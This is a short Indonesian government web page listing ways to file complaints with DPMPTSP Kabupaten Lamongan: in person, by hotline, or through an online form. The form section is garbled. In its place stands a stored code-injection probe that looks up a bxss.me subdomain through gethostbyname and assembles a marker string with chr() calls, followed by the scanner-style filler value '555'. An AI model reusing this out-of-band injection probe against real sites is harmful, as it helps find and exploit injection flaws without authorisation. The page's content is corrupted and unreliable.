MEKANISME PENGADUAN

Berikut ini adalah mekanisme untuk melakukan pengaduan di DPMPTSP Kabupaten Lamongan :

  1. Melalui Offline bisa langsung berkunjung ke gedung Mal Pelayanan Publik Kabupaten Lamongan
  2. Pengaduan bisa menghubungi via hotline DPMPTSP +62 812 3131 3838
  3. Melalui Pengaduan Online, dengan mengisi form di bawah ini :

gethostbyname(lc('hitpj'.'eicchnlb8b79c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(72).chr(110).chr(70)

pengaduan/.

555

555

555